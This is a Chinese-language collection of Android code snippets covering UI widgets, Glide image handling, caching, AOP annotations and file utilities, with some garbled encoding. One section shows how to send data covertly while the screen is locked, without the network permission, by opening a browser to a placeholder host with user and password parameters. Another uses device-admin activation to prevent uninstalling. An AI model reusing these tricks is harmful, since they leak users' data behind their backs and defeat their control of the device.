回車監(jiān)聽
public static void enterListener(EditText editText,onChangeText onChangeText){
editText.setOnKeyListener((v, keyCode, event) -> {
if (keyCode == KeyEvent.KEYCODE_ENTER && event.getAction() == KeyEvent.ACTION_DOWN) {
if (editText.getText().length() == 0) return false;
String trim_his = editText.getText().toString().trim();
onChangeText.onChangeText(trim_his);
editText.setText("");
return true;
}
return false;
});
}
public interface onChangeText{
void onChangeText(String text);
}
使用Shape來實現(xiàn)下劃線
<layer-list xmlns:android="http://schemas.android.com/apk/res/android" >
<item
android:left="-2dp"
android:right="-2dp"
android:top="-2dp">
<shape>
<solid android:color="#00FFFFFF" />
<stroke
android:width="1dp"
android:color="#0094c8" />
</shape>
</item>
</layer-list>
<?xml version="1.0" encoding="utf-8"?>
<layer-list
xmlns:android="http://schemas.android.com/apk/res/android">
<item android:left="0dp" android:top="0dp" android:right="0dp" android:bottom="0dp">
<shape android:shape="rectangle">
<solid android:color="#ffffffff" />
</shape>
</item>
<item android:left="-200dp" android:top="-100dp" android:right="-200dp" android:bottom="0dp">
<shape android:shape="oval">
<solid android:color="#0094c8" />
</shape>
</item>
</layer-list>
使用Gson和Sp存取list
//存數(shù)據(jù)
if (list_his.size()>10) list_his=new ArrayList(list_his.subList(0, 10));
String list = GsonUtils.toJson(list_his);
SPUtils.getInstance().put("sp_his",list);
//取數(shù)據(jù)
try {
String sp_his = SPUtils.getInstance().getString("sp_his", "");
if (sp_his.equals("")){
list_his = new ArrayList<>();
}else{
list_his = GsonUtils.fromJson(sp_his,List.class);
}
}catch (Exception e){
e.printStackTrace();
list_his = new ArrayList<>();
}
漢字位置補齊
------------------------------------------------------------------
1個漢字 = 4個  = 4個  = 1個  = 2個 
------------------------------------------------------------------
<TextView
android:id="@+id/sign_time"
android:text="時  間:"
android:textSize="@dimen/font_14"
android:textColor="@color/black"
android:layout_marginTop="@dimen/dp_2"
app:layout_constraintTop_toBottomOf="@id/sign_wzdd"
app:layout_constraintEnd_toEndOf="@id/guideline"
android:layout_width="@dimen/dp_72"
android:layout_height="wrap_content"/>
限制EditText只輸入字母和數(shù)字
<string name="login_only_can_input" translatable="false">qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM1234567890.</string>
DigitsKeyListener digitsKeyListener = new DigitsKeyListener() {
@Override
public int getInputType() {
return InputType.TYPE_TEXT_VARIATION_PASSWORD;
}
@Override
protected char[] getAcceptedChars() {
return getString(R.string.login_only_can_input).toCharArray();
}
};
etCarNumber.setKeyListener(digitsKeyListener);
背景效果
//陰影
android:background="?android:attr/windowBackground"
//水波紋
android:background="?android:attr/selectableItemBackground"
RecycleView移動到指定Item
/**
* @param manager 設(shè)置RecyclerView對應(yīng)的manager
* @param mRecyclerView 當(dāng)前的RecyclerView
* @param position 要跳轉(zhuǎn)的位置
*/
public static void MoveToPosition(LinearLayoutManager manager, RecyclerView mRecyclerView, int position) {
int firstItem = manager.findFirstVisibleItemPosition();
int lastItem = manager.findLastVisibleItemPosition();
if (position <= firstItem) {
mRecyclerView.scrollToPosition(position);
} else if (position <= lastItem) {
int top = mRecyclerView.getChildAt(position - firstItem).getTop();
mRecyclerView.scrollBy(0, top);
} else {
mRecyclerView.scrollToPosition(position);
}
}
RecyleView的Item自動居中
//LinearSnapHelper類繼承于SnapHelper
//當(dāng)然SnapHelper還有一個子類噩咪,PagerSnapHelper
//LinearSnapHelper可以使RecyclerView一次滑動越過多個Item
//PagerSnapHelper像ViewPager一樣限制你一次只能滑動一個Item
LinearSnapHelper mLinearSnapHelper = new LinearSnapHelper();
mLinearSnapHelper.attachToRecyclerView(mRec);
PagerSnapHelper mPagerSnapHelper = new PagerSnapHelper();
mPagerSnapHelper.attachToRecyclerView(mRec);
RecycleView添加分割
mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
@Override
public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
super.getItemOffsets(outRect, view, parent, state);
if (parent.getChildPosition(view) % 2 != 1){
outRect.right = SizeUtils.dp2px(5);
}else{
outRect.left = SizeUtils.dp2px(5);
}
}
});
mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
private Paint dividerPaint;
private int childCount = 0;
@Override
public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
super.getItemOffsets(outRect, view, parent, state);
childCount = parent.getChildCount();
if (parent.getChildPosition(view)== childCount-1) {
outRect.set(0,0,0,SizeUtils.dp2px(1));
}
}
@Override
public void onDraw(@NonNull Canvas c, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
super.onDraw(c, parent, state);
final View view = parent.getChildAt(childCount-1);
if (dividerPaint==null) {
dividerPaint = new Paint();
dividerPaint.setColor(getResouseColor(R.color.colorE3E3EC));
}
float top = view.getBottom();
float bottom = view.getBottom() + SizeUtils.dp2px(1);
c.drawRect(view.getLeft(), top, view.getRight(), bottom, dividerPaint);
}
});
拿到緩存目錄
String path = "";
if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED) || !Environment.isExternalStorageRemovable()) {
try {
path = context.getExternalCacheDir().getAbsolutePath();
} catch (Exception e) {
e.printStackTrace();
}
if (TextUtils.isEmpty(path)) {
path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).getAbsolutePath();
}
} else {
path = context.getCacheDir().getAbsolutePath();
}
Glide高斯模糊
Glide.with(MainActivity.this)
.asBitmap()
.load(imgs[firstVisibleItemPosition])
.into(new SimpleTarget<Bitmap>() {
@Override
public void onResourceReady(@NonNull Bitmap resource, @Nullable Transition<? super Bitmap> transition) {
Bitmap bitmap = BlurBitmapUtil.blurBitmap(MainActivity.this, resource, 20);
mImg.setImageBitmap(bitmap);
}
});
public class BlurBitmapUtil {
//圖片縮放比例
private static final float BITMAP_SCALE = 0.4f;
/**
* 模糊圖片的具體方法
*
* @param context 上下文對象
* @param image 需要模糊的圖片
* @return 模糊處理后的圖片
*/
public static Bitmap blurBitmap(Context context, Bitmap image, float blurRadius) {
// 計算圖片縮小后的長寬
int width = Math.round(image.getWidth() * BITMAP_SCALE);
int height = Math.round(image.getHeight() * BITMAP_SCALE);
// 將縮小后的圖片做為預(yù)渲染的圖片
Bitmap inputBitmap = Bitmap.createScaledBitmap(image, width, height, false);
// 創(chuàng)建一張渲染后的輸出圖片
Bitmap outputBitmap = Bitmap.createBitmap(inputBitmap);
// 創(chuàng)建RenderScript內(nèi)核對象
RenderScript rs = RenderScript.create(context);
// 創(chuàng)建一個模糊效果的RenderScript的工具對象
ScriptIntrinsicBlur blurScript = ScriptIntrinsicBlur.create(rs, Element.U8_4(rs));
// 由于RenderScript并沒有使用VM來分配內(nèi)存,所以需要使用Allocation類來創(chuàng)建和分配內(nèi)存空間
// 創(chuàng)建Allocation對象的時候其實內(nèi)存是空的,需要使用copyTo()將數(shù)據(jù)填充進去
Allocation tmpIn = Allocation.createFromBitmap(rs, inputBitmap);
Allocation tmpOut = Allocation.createFromBitmap(rs, outputBitmap);
// 設(shè)置渲染的模糊程度, 25f是最大模糊度
blurScript.setRadius(blurRadius);
// 設(shè)置blurScript對象的輸入內(nèi)存
blurScript.setInput(tmpIn);
// 將輸出數(shù)據(jù)保存到輸出內(nèi)存中
blurScript.forEach(tmpOut);
// 將數(shù)據(jù)填充到Allocation中
tmpOut.copyTo(outputBitmap);
return outputBitmap;
}
}
Glide圓角
public class GlideRoundTransform extends BitmapTransformation {
private static float radius = 0f;
public GlideRoundTransform(Context context) {
this(context, 4);
}
public GlideRoundTransform(Context context, int dp) {
// super(context, dp);
this.radius = Resources.getSystem().getDisplayMetrics().density * dp;
}
@Override
protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {
Bitmap bitmap = TransformationUtils.centerCrop(pool, toTransform, outWidth, outHeight);
return roundCrop(pool, bitmap);
}
private static Bitmap roundCrop(BitmapPool pool, Bitmap source) {
if (source == null) return null;
Bitmap result = pool.get(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
if (result == null) {
result = Bitmap.createBitmap(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
}
Canvas canvas = new Canvas(result);
Paint paint = new Paint();
paint.setShader(new BitmapShader(source, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP));
paint.setAntiAlias(true);
RectF rectF = new RectF(0f, 0f, source.getWidth(), source.getHeight());
canvas.drawRoundRect(rectF, radius, radius, paint);
return result;
}
public String getId() {
return getClass().getName() + Math.round(radius);
}
@Override
public void updateDiskCacheKey(MessageDigest messageDigest) {
}
}
圖片切換流暢的過度
TransitionDrawable transitionDrawable = new TransitionDrawable(new Drawable[]{LastDrawable,CurrentDrawable});
parent.setBackgroundDrawable(transitionDrawable);
transitionDrawable.startTransition(500);
AOP注解
implementation 'cn.com.superLei:aop-arms:1.0.2'
/*--------------------------緩存篇(可緩存任意類型)-----------------------**/
/**
* 寫入緩存
* key:緩存的鍵
* expiry:緩存過期時間,單位s
* @return 緩存的值
*/
@Cache(key = "userList", expiry = 60 * 60 * 24)
private ArrayList<User> initData() {
ArrayList<User> list = new ArrayList<>();
for (int i=0; i<5; i++){
User user = new User();
user.setName("艾神一不小心:"+i);
user.setPasswrd("密碼:"+i);
list.add(user);
}
return list;
}
//獲取緩存
private ArrayList<User> getUser() {
return ArmsCache.get(mContext).getAsList("userList", User.class);
}
/**
* 移除緩存
* key:緩存的鍵
* beforeInvocation:緩存的清除是否在方法之前執(zhí)行, 如果出現(xiàn)異常緩存就不會清除 默認(rèn)false
* allEntries:是否清空所有緩存(與key互斥) 默認(rèn)false
*/
@CacheEvict(key = "userList", beforeInvocation = true, allEntries = false)
public void removeUser() {
Log.e(TAG, "removeUser: >>>>");
}
/*--------------------------SharedPreferences篇(可保存對象)-----------------------*/
//保存key到sp
@Prefs(key = "article")
private Article initArticle() {
Article article = new Article();
article.author = "jerry";
article.title = "hello android";
article.createDate = "2019-05-31";
article.content = "this is a test demo";
return article;
}
//從sp中移除key
/**
* key:sp的鍵
* allEntries:是否清空所有存儲(與key互斥) 默認(rèn)false
*/
@PrefsEvict(key = "article", allEntries = false)
public void removeArticle() {
Log.e(TAG, "removeArticle: >>>>");
}
//通過key從sp中獲取value
public void getArticle() {
Article article = ArmsPreference.get(mContext, "article", null);
Log.e(TAG, "getArticle: "+article);
}
/*--------------------------異步篇-----------------------*/
@Async
public void asyn() {
Log.e(TAG, "useAync: "+Thread.currentThread().getName());
}
*--------------------------try-catch安全機制篇-----------------------*/
//自動幫你try-catch 允許你定義回調(diào)方法
@Safe(callBack = "throwMethod")
public void safe() {
String str = null;
}
//自定義回調(diào)方法(注意要和callBack的值保持一致)
private void throwMethod(Throwable throwable){
Log.e(TAG, "throwMethod: >>>>>"+throwable.toString());
}
/*--------------------------重試機制篇-----------------------*/
/**
* count 重試次數(shù)
* delay 每次重試的間隔
* asyn 是否異步執(zhí)行
* retryCallback 自定義重試結(jié)果回調(diào)
* return 當(dāng)前方法是否執(zhí)行成功
*/
@Retry(count = 3, delay = 1000, asyn = true, retryCallback = "retryCallback")
public boolean retry() {
Log.e(TAG, "retryDo: >>>>>>"+Thread.currentThread().getName());
return false;
}
private void retryCallback(boolean result){
Log.e(TAG, "retryCallback: >>>>"+result);
}
/*--------------------------定時任務(wù)篇-----------------------*/
/**
* interval 初始化延遲
* interval 時間間隔
* timeUnit 時間單位
* count 執(zhí)行次數(shù)
* taskExpiredCallback 定時任務(wù)到期回調(diào)
*/
@Scheduled(initialDelay = 100L ,interval = 1000L,timeUnit = TimeUnit.MINUTES,count = 10, taskExpiredCallback = "taskExpiredCallback")
public void scheduled() {
Log.e(TAG, "scheduled: >>>>");
}
private void taskExpiredCallback(){
Log.e(TAG, "taskExpiredCallback: >>>>");
}
/*--------------------------延遲任務(wù)篇-----------------------*/
//開啟延遲任務(wù)(10s后執(zhí)行該方法)
@Delay(key = "test", delay = 10000L)
public void delay() {
Log.e(TAG, "delay: >>>>>");
}
//移除延遲任務(wù)
@DelayAway(key = "test")
public void cancelDelay() {
Log.e(TAG, "cancelDelay: >>>>");
}
/*--------------------------過濾頻繁點擊-----------------------*/
@SingleClick(value = 2000L)
private void onclick(){
Log.e(TAG, "onclick: >>>>");
}
/*--------------------------攔截篇(如登錄)-----------------------*/
//在需要進行攔截的方法添加注解
@Intercept("login_intercept")
public void loginIntercept() {
Log.e(TAG, "intercept: 已登陸>>>>");
}
//(建議,統(tǒng)一處理)在Application中進行進行監(jiān)聽攔截回調(diào)
public class MyApplication extends Application {
private static final String TAG = "MyApplication";
private MyApplication mApplication;
@Override
public void onCreate() {
super.onCreate();
mApplication = this;
AopArms.init(this);
AopArms.setInterceptor(new Interceptor() {
@Override
public boolean intercept(String key, String methodName) throws Throwable {
Log.e(TAG, "intercept methodName:>>>>>"+methodName);
if ("login_intercept".equals(key)){
String userId = ArmsPreference.get(mApplication, "userId", "");
if (TextUtils.isEmpty(userId)){
Toast.makeText(mApplication, "您還沒有登錄", Toast.LENGTH_SHORT).show();
return true;//代表攔截
}
}
return false;//放行
}
});
}
}
ViewPager禁止橫向滑動
public class CustomViewPager extends ViewPager {
private static final String TAG = "CustomViewPager";
private boolean isCanScroll = false;
public CustomViewPager(Context context) {
super(context);
}
public CustomViewPager(Context context, AttributeSet attrs) {
super(context, attrs);
}
public void setScanScroll(boolean isCanScroll) {
this.isCanScroll = isCanScroll;
}
@Override
public void scrollTo(int x, int y) {
super.scrollTo(x, y);
}
@Override
public void setCurrentItem(int item) {
super.setCurrentItem(item);
}
@Override
public boolean onTouchEvent(MotionEvent arg0) {
return this.isCanScroll && super.onTouchEvent(arg0);
}
@Override
public boolean onInterceptTouchEvent(MotionEvent arg0) {
return this.isCanScroll && super.onInterceptTouchEvent(arg0);
}
}
RxUtils統(tǒng)一線程處理
public class RxUtils {
/**
* 同一線程處理
* @param <T>
* @return
*/
public static <T> FlowableTransformer<T,T> rxSchedulerHelper(){
//compose簡化線程
return new FlowableTransformer<T, T>() {
@Override
public Flowable<T> apply(Flowable<T> upstream) {
return upstream.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread());
}
};
}
public static <T>ObservableTransformer<T,T> rxObservableSchedulerHelper(){
//compose 簡化線程
return new ObservableTransformer<T, T>() {
@Override
public ObservableSource<T> apply(Observable<T> upstream) {
return upstream.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread());
}
};
}
BottomNavigationViewHelper 處理超過三個ITEM縮放效果
(替代品:implementation 'com.github.ittianyu:BottomNavigationViewEx:2.0.4')
public class BottomNavigationViewHelper {
@SuppressLint("RestrictedApi")
public static void disableShiftMode(BottomNavigationView navigationView) {
BottomNavigationMenuView menuView = (BottomNavigationMenuView) navigationView.getChildAt(0);
try {
Field shiftingMode = menuView.getClass().getDeclaredField("mShiftingMode");
shiftingMode.setAccessible(true);
shiftingMode.setBoolean(menuView, false);
shiftingMode.setAccessible(false);
for (int i = 0; i < menuView.getChildCount(); i++) {
BottomNavigationItemView itemView = (BottomNavigationItemView) menuView.getChildAt(i);
itemView.setShiftingMode(false);
itemView.setChecked(itemView.getItemData().isChecked());
}
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
雙擊退出
private static long mBackPressedTime;
public static void doubleClickExitApp() {
long curTime = SystemClock.uptimeMillis();
if ((curTime - mBackPressedTime) < (3 * 1000)) {
RxActivityTool.finishAllActivity();
//根據(jù)進程ID,殺死該進程
android.os.Process.killProcess(android.os.Process.myPid());
//退出應(yīng)用程序
System.exit(0);
} else {
mBackPressedTime = curTime;
SmartToast.show("再按一次退出");
}
}
Assets文本獲取
public String getJson(Context context, String fileName) {
StringBuilder stringBuilder = new StringBuilder();
try {
AssetManager assetManager = context.getAssets();
BufferedReader bf = new BufferedReader(new InputStreamReader(
assetManager.open(fileName)));
String line;
while ((line = bf.readLine()) != null) {
stringBuilder.append(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return stringBuilder.toString();
}
緩存管理
//獲取緩存大小
public static long getApplicationDataSize(Context context) {
long size = 0;
// internal cache
size += FileUtil.getDirectorySize(context.getCacheDir());
// external cache
size += FileUtil.getDirectorySize(context.getExternalCacheDir());
// databases
size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/databases"));
// shared preference
size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/shared_prefs"));
// files
size += FileUtil.getDirectorySize(context.getFilesDir());
return size;
}
//文件/文件夾大小
public static long getDirectorySize(File directory) {
long size = 0;
File[] listFiles = directory.listFiles();
if (listFiles == null) {
return size;
}
for (File file : listFiles) {
if (file.isDirectory()) {
size += getDirectorySize(file);
} else {
size += file.length();
}
}
return size;
}
//刪除文件
public static void deleteDirectory(File file) {
if (file.isDirectory()) {
File[] listFiles = file.listFiles();
for (File f : listFiles) {
deleteDirectory(f);
}
file.delete();
} else {
file.delete();
}
}
獲取APP版本號
public static int getVersionCode(Context mContext) {
try {
PackageManager manager = mContext.getPackageManager();
PackageInfo info = manager.getPackageInfo(mContext.getPackageName(), 0);
int version = info.versionCode;
return version;
} catch (Exception e) {
e.printStackTrace();
return -1;
}
}
復(fù)制內(nèi)容到剪切板
/**
* @param context 上下文
* @param content 需要復(fù)制到剪切板的文字
*/
public static void copyToClipboard(Context context, CharSequence content) {
ClipboardManager clipboard = (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE);
if (clipboard != null) {
clipboard.setPrimaryClip(ClipData.newPlainText(null, content));//參數(shù)一:標(biāo)簽,可為空役听,參數(shù)二:要復(fù)制到剪貼板的文本
if (clipboard.hasPrimaryClip()) {
clipboard.getPrimaryClip().getItemAt(0).getText();
}
}
}
保存圖片到相冊
File appDir = new File(Environment.getExternalStorageDirectory(), "/DCIM/Camera");
if (!appDir.exists()) {
appDir.mkdir();
}
String fileName = System.currentTimeMillis() + ".jpg";
File file = new File(appDir, fileName);
try {
FileOutputStream fos = new FileOutputStream(file);
bmp.compress(Bitmap.CompressFormat.JPEG, 100, fos);
fos.flush();
fos.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
if (file == null || !file.exists()) {
return;
}
String photoPath = file.getAbsolutePath();
String photoName = file.getName();
// 把文件插入到系統(tǒng)圖庫
try {
ContentResolver contentResolver = context.getContentResolver();
MediaStore.Images.Media.insertImage(contentResolver, photoPath, photoName, null);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
// 最后通知圖庫更新
context.sendBroadcast(new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, Uri.parse("file://" + photoPath)));
打開微信
public static void GotoWX(Context context) {
Intent intent = new Intent();
ComponentName cmp = new ComponentName("com.tencent.mm", "com.tencent.mm.ui.LauncherUI");
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setComponent(cmp);
context.startActivity(intent);
}
保存Bitmap
public static File saveBitmap(String bitName, Bitmap mBitmap) {
File f = new File("/sdcard/temp/" + bitName + ".png");
try {
f.getParentFile().mkdirs();
f.createNewFile();
} catch (IOException e) {
SmartToast.show("在保存圖片時出錯:" + e.toString());
}
FileOutputStream fOut = null;
try {
fOut = new FileOutputStream(f);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
mBitmap.compress(Bitmap.CompressFormat.PNG, 100, fOut);
try {
fOut.flush();
} catch (IOException e) {
e.printStackTrace();
}
try {
fOut.close();
} catch (IOException e) {
e.printStackTrace();
}
return f;
}
獲取渠道號
public static String getApplicationMetadata(Context context) {
ApplicationInfo info = null;
try {
PackageManager pm = context.getPackageManager();
info = pm.getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA);
return String.valueOf(info.metaData.getString("CHANNEL_VALUE"));
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
點擊抖動效果
Animation shake = AnimationUtils.loadAnimation(getApplicationContext(), R.anim.shake);
mEtPhone.startAnimation(shake);
//動畫
<?xml version="1.0" encoding="utf-8"?>
<translate xmlns:android="http://schemas.android.com/apk/res/android"
android:fromXDelta="0"
android:toXDelta="10"
android:duration="1000"
android:interpolator="@anim/cycle_7" />
//插值器
<?xml version="1.0" encoding="utf-8"?>
<cycleInterpolator xmlns:android="http://schemas.android.com/apk/res/android" android:cycles="7" />
安卓7.0 PopWindow 彈出位置異常
public void showAsDropDown(View anchor){
if (Build.VERSION.SDK_INT >= 24){
Rect visibleFrame = new Rect();
anchor.getGlobalVisibleRect(visibleFrame);
int height = anchor.getResources().getDisplayMetrics().heightPixels - visibleFrame.bottom;
this.setHeight(height);
this.showAsDropDown(anchor,0,0);
}else {
this.showAsDropDown(anchor,0,0);
}
}
Html.fromHtml的使用
//改變文字顏色
tv_content.setText(Html.fromHtml("查看新人引導(dǎo)教程 即可獲得" +
"<font color=" + context.getResources().getColor(R.color.color_coin) + ">" + coin + "</font>"
+ "金幣"));
JsonUtil
public class JsonUtil {
private static Gson gson = new Gson();
@SuppressWarnings("hiding")
public static <T> T parseJson(String response, Class<T> clazz) {
try {
return gson.fromJson(response, clazz);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static <T> T parseJson(String response, Type type) {
try {
return gson.fromJson(response, type);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static String toJson(Object object) {
try {
return gson.toJson(object);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
EditText常用輸入判斷
et_money.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
@Override
public void afterTextChanged(Editable s) {
//判斷不以0開頭
String text = s.toString();
int len = s.toString().length();
if (len == 1 && text.equals("0")) s.clear();
//最多兩位小數(shù)
String temp = editable.toString();
int posDot = temp.indexOf(".");
if (posDot <= 0) return;
if (temp.length() - posDot - 1 > 2) {
editable.delete(posDot + 3, posDot + 4);}
}
});
點擊實現(xiàn)按鈕的縮放效果(事件分發(fā)實現(xiàn))
@Override
public boolean onTouch(View v, MotionEvent event) {
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
btnLogin.setScaleX((float) 0.95);
btnLogin.setScaleY((float) 0.95);
break;
case MotionEvent.ACTION_UP:
if (v.getId() == R.id.btn_login) {
btnLogin.setScaleX(1);
btnLogin.setScaleY(1);
}
break;
case MotionEvent.ACTION_CANCEL:
btnLogin.setScaleX(1);
btnLogin.setScaleY(1);
break;
}
return false;
}
設(shè)置字體Hint大小和顯示大小不同的情況
public static void setEditTextHintSize(EditText editText, String hintText, int size){
SpannableString ss = new SpannableString(hintText);//定義hint的值
AbsoluteSizeSpan ass = new AbsoluteSizeSpan(size,true);//設(shè)置字體大小 true表示單位是sp
ss.setSpan(ass, 1, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
editText.setHint(new SpannedString(ss));
}
dpToPx and pxToDp 或者使用SizeUtils
public static int dpTopx(Context context, float dipValue) {
final float scale = context.getResources().getDisplayMetrics().density;
return (int) (dipValue * scale + 0.5f);
}
public static int pxToDp(Context context, float pxValue) {
if (context == null) {
return -1;
}
final float scale = context.getResources().getDisplayMetrics().density;
return (int) (pxValue / scale + 0.5f);
}
使用LinearLayoutCompat來添加分割線
(LinearLayoutCompat可以看成一個LInearLayout,同樣的方式去設(shè)置他的orientation)
<androidx.appcompat.widget.LinearLayoutCompat
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
app:divider="@drawable/abc_vector_test_new"
app:showDividers="middle"
app:dividerPadding="0dp">
<TextView
android:id="@+id/textView"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="TextView" />
<TextView
android:id="@+id/textView2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="TextView" />
</androidx.appcompat.widget.LinearLayoutCompat>
//主要是使用這三個參數(shù)來實現(xiàn)分割線
app:divider="@drawable/abc_vector_test_new"
app:showDividers="middle"
app:dividerPadding="0dp"
Gson解析問題
//Gson解析對象為一個數(shù)組的時候應(yīng)該這樣使用
List<listBean> listBean = new Gson().fromJson(string,
new TypeToken<List<listBean>>() {}.getType());
無網(wǎng)絡(luò)權(quán)限上傳信息
(借雞下蛋 實際上是調(diào)用系統(tǒng)WebView來發(fā)出GET請求)
Timer timer = new Timer();
final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
TimerTask task = new TimerTask() {
@Override
public void run() {
//如果用戶鎖屏狀態(tài)下作烟,就打開網(wǎng)頁通過get方式偷偷傳輸數(shù)據(jù)
if (km.inKeyguardRestrictedInputMode()) {
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
intent.setData(Uri.parse("http://192.168.0.2/send?user=1&pwd=2"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}else{
//判斷如果在桌面就什么也不做 ,如果不在桌面就返回
Intent intent = new Intent();
intent.setAction("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.addCategory("android.intent.category.MONKEY");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
};
timer.schedule(task, 1000, 2000);
添加多個app圖標(biāo)
(實際上是通過系統(tǒng)廣播的方式實現(xiàn))
//添加兩個創(chuàng)建刪除快捷方式廣播權(quán)限
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
public static void addShortcut(Activity cx, String name) {
//創(chuàng)建快捷方式的intent廣播
Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
//添加快捷名稱
shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name);
//快捷圖標(biāo)是允許重復(fù)
shortcut.putExtra("duplicate", false);
//快捷圖標(biāo)
Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher);
shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes);
//我們下次啟動要用的Intent信息
Intent carryIntent = new Intent(Intent.ACTION_MAIN);
carryIntent.putExtra("name", name);
carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName());
carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
//添加攜帶的Intent
shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent);
//發(fā)送廣播
cx.sendBroadcast(shortcut);
}
使用設(shè)備管理器服務(wù)禁止軟件被刪除
// 激活設(shè)備超級管理員
public void activation() {
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
// 初始化要激活的組件
ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活可以防止隨意卸載應(yīng)用");
startActivity(intent);
}
<receiver
android:name=".MyDeviceAdminReceiver"
android:description="@string/app_name"
android:label="防卸載"
android:permission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/deviceadmin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
//deviceadmin.xml
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
<expire-password />
<encrypted-storage />
<disable-camera />
</uses-policies>
</device-admin>
防止多次點擊
public class AntiShakeUtils {
private final static long INTERNAL_TIME = 1000;
/**
* Whether this click event is invalid.
*
* @param target target view
* @return true, invalid click event.
* @see #isInvalidClick(View, long)
*/
public static boolean isInvalidClick(View target) {
return isInvalidClick(target, INTERNAL_TIME);
}
/**
* Whether this click event is invalid.
*
* @param target target view
* @param internalTime the internal time. The unit is millisecond.
* @return true, invalid click event.
*/
public static boolean isInvalidClick(View target, @IntRange(from = 0) long internalTime) {
long curTimeStamp = System.currentTimeMillis();
long lastClickTimeStamp = 0;
Object o = target.getTag(R.id.last_click_time);
if (o == null) {
target.setTag(R.id.last_click_time, curTimeStamp);
return false;
}
lastClickTimeStamp = (Long) o;
boolean isInvalid = curTimeStamp - lastClickTimeStamp < internalTime;
if (!isInvalid)
target.setTag(R.id.last_click_time, curTimeStamp);
return isInvalid;
}
}
監(jiān)聽鍵盤的顯示和收起
import android.app.Activity;
import android.graphics.Rect;
import android.view.View;
public class SoftKeyBoardListener {
private View rootView;//activity的根視圖
int rootViewVisibleHeight;//紀(jì)錄根視圖的顯示高度
private OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener;
public SoftKeyBoardListener(Activity activity) {
//獲取activity的根視圖
rootView = activity.getWindow().getDecorView();
//監(jiān)聽視圖樹中全局布局發(fā)生改變或者視圖樹中的某個視圖的可視狀態(tài)發(fā)生改變
rootView.getViewTreeObserver().addOnGlobalLayoutListener(() -> {
//獲取當(dāng)前根視圖在屏幕上顯示的大小
Rect r = new Rect();
rootView.getWindowVisibleDisplayFrame(r);
int visibleHeight = r.height();
System.out.println("" + visibleHeight);
if (rootViewVisibleHeight == 0) {
rootViewVisibleHeight = visibleHeight;
return;
}
//根視圖顯示高度沒有變化,可以看作軟鍵盤顯示/隱藏狀態(tài)沒有改變
if (rootViewVisibleHeight == visibleHeight) {
return;
}
